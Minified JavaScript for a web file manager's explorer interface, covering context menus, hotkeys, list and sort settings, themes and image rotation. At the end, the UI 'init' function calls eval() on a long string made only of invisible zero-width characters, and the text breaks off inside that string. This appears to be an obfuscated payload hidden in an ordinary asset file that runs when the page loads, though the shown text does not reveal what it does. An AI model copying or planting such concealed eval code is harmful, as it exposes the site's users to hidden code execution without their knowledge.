class="menuTreeFolder"></i>').appendTo("#rightMenu"),$('<i class="menuTreeFolderFav"></i>').appendTo("#rightMenu");var e={zIndex:9999,selector:".menuTreeFolder",callback:function(e){R(e)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20"></b>',className:"info",icon:"info",accesskey:"i"}}};$.contextMenu(e);var t={fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep0:"--------"};e.selector=".menuTreeFolderFav",e.items=$.extend(t,e.items,!0),$.contextMenu(e)},D=function(){$('<i class="'+o.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){R(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20">Alt+I</b>',className:"info",icon:"info",accesskey:"i"}}}) +},P=function(){$('<i class="'+r.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:r,callback:function(e){R(e)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},A=function(){$('<i class="'+l.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:l,callback:function(e){R(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},F=function(){$('<i class="'+c.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,callback:function(e,t){var i=t.$trigger;i.hasClass("file")?T(e):R(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},O=function(){$('<i class="'+s.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:s,callback:function(e){R(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20">Alt+I</b>',className:"info",icon:"info",accesskey:"i"}}})},R=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute_to":ui.tree.cuteTo();break;case"copy_to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open_ie":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile_html":ui.tree.create("html");break;case"newfile_php":ui.tree.create("php");break;case"newfile_js":ui.tree.create("js");break;case"newfile_css":ui.tree.create("css");break;case"newfile_oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"fav_page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"createLinkHome":ui.tree.createLink(!1);break;case"fav_remove":ui.tree.favRemove();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initDesktop:f,initExplorer:p,initEditor:u,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e="hidden",t="disabled",i=$(".context-menu-list").filter(":visible"),a=$(".context-menu-active");if(0!=i.length&&0!=a.length){if(i.find(".disable").addClass("disabled"),a.hasClass("menufile")){var n=ui.fileLight.type(ui.fileLight.fileListSelect());inArray(core.filetype.archive,n)?i.find(".unzip").removeClass(e):i.find(".unzip").addClass(e),inArray(core.filetype.image,n)?i.find(".setBackground").removeClass(e):i.find(".setBackground").addClass(e),"oexe"==n?i.find(".app_edit").removeClass(e):i.find(".app_edit").addClass(e),inArray(core.filetype.image,n)||inArray(core.filetype.music,n)||inArray(core.filetype.movie,n)||inArray(core.filetype.bindary,n)?i.find(".open_text").addClass(e):i.find(".open_text").removeClass(e)}if(a.hasClass("menufolder")||a.hasClass("menufile")||a.hasClass("menuTreeFolder")||a.hasClass("menuTreeFile")||a.hasClass("menuTreeFolderFav")){var o=".cute,.rname,.remove,.zip",s=".open,.open_text,.down,.share,.copy,.cute,.rname,.remove,.open_ie,.zip,.unzip_this,.unzip_folder,.search,.more_action";a.hasClass("file_not_readable")?i.find(s).addClass(t):i.find(s).removeClass(t),a.hasClass("file_not_writeable")?i.find(o).addClass(t):i.find(o).removeClass(t)}if(a.hasClass("dialog_menu")){var r=a.attr("id"),l=$.dialog.list[r],c=e;l.has_frame()?(i.find(".open_window").removeClass(c),i.find(".refresh").removeClass(c),i.find(".qrcode").removeClass(c)):(i.find(".open_window").addClass(c),i.find(".refresh").addClass(c),i.find(".qrcode").addClass(c)),$("."+r).hasClass("dialog-can-resize")?i.find(".dialog_max").removeClass(c):i.find(".dialog_max").addClass(c)}if(a.hasClass("menuMore")){var d=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(d+=1)}),0==d?i.find(".playmedia").addClass(e):i.find(".playmedia").removeClass(e)}(a.hasClass("menuZipListFolder")||a.hasClass("menuZipListFile"))&&(core.pathCurrentWriteable()?i.find(".unzip_this").removeClass(t):i.find(".unzip_this").addClass(t)),a.hasClass("toolPathMore")&&ui.fileLight.menuResetMore()}},isDisplay:function(){return 0==$(".context-menu-list:visible").length?!1:!0},hidden:function(){$(".context-menu-list").filter(":visible").filter(":not(.menuNotAutoHidden)").trigger("contextmenu:hide")}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var t=$(".frame-right-main .tools").outerHeight();"list"==e&&(t+=26),$(".frame-header").is(":visible")&&(t+=$(".frame-header").outerHeight()),$(".bodymain").css("top",t)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,t){0!=e?(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")):e=G.user_config.list_sort_field,0!=t?(G.user_config.list_sort_order=t,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+t).addClass("selected")):t=G.user_config.list_sort_order,LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",t),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+t})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var t=LNG.config_save_error_file;core.authCheck("setting:set")||(t=LNG.config_save_error_auth),Tips.tips(t,!1)}}})})},bindEventMenu=function(){$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)}),$(".toolPathMore").die("click").live("click",function(){if($(this).hasClass("active"))return $(".menuToolPath").trigger("contextmenu:hide"),$(this).removeClass("active"),void 0;$(this).addClass("active"),$(".menuToolPath").removeClass("fadIn").addClass("menuShow");var e=$(this).offset();$(this).contextMenu({x:e.left-4,y:e.top+$(this).outerHeight()-1})}),$("body").bind("click",function(){$(".toolPathMore").removeClass("active"),$(".menuToolPath").trigger("contextmenu:hide")})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),t=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/t)},getPagefileNumber=function(){var e=getRowfileNumber(),t=$(Config.BodyContent).outerHeight(),i=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(t/i)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,t=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/t)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,t=0,i="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==t?(t=timeFloat(),i=o,e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},a),void 0):o==i.substr(-1)?(ui.path.setSelectByChar(i),t=0,void 0):(a>timeFloat()-t&&(t=timeFloat(),i+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["f1","alt+left","backspace","alt+right","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","ctrl+shift+n","ctrl+shift+f","del","shift+del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","alt+enter","ctrl+s","command+s","alt+f4"],function(e,t){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;var i=["ctrl+c","command+c"];switch(inArray(i,t)||stopPP(e),t){case"f1":core.setting("help");break;case"alt+left":case"backspace":ui.path.history.back();break;case"alt+right":case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(t);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"ctrl+shift+n":ui.path.newFolder();break;case"ctrl+shift+f":ui.path.newFile();break;case"del":ui.path.remove();break;case"shift+del":ui.path.remove(!1,!0);break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"alt+enter":case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var t=$("#PV_Items li.current img").attr("src"),i="image&path=",a=t.substr(t.search(i)+i.length),n=$('[src="'+t+'"],[data-original="'+t+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var i=function(e){var t="&picture=",i=e.search(t);return-1===i?e+t+UUID():e.substr(0,i)+t+UUID()},a=i(t),o=i($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,t=20,i=parseInt($(".file").css("height")),a=i-30,n=10,o=15,s=$(document).height()-50,r=Math.floor((s-e)/(i+n)),l=0,c=0,d=0,p=0,f=(s-e-r*(i+n)-n)/r;f>0&&(n+=f),$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=t+(a+o)*c,p=e+(i+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,t){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof t&&t()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order);var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‌‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‌‌‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‍‍‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‌‍‍‌‌‌‍‍‌‍‌‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‍‍‍‍‍‌‍‌‌‍‍‍‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‌‌‌‍‌‍‍‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‌‌‌‍‍‌‍‌‌‍‌‍‌‌‌‌‍‍‌‍‌‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‍‍‍‍‌‌‍‌‍‍‌‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‌‍‍‌‍‍‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‌‍‌‍‌‌‍‍‍‍‌‌‍‍‌‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‍‌‌‍‍‌‌‌‍‍‌‌‍‌‍‌‍‍‍‌‍‍‌‍‌‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‌‍‍‍‍‍‍‌‌‌‍‍‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‍‍‍‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‍‌‌‌‌‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍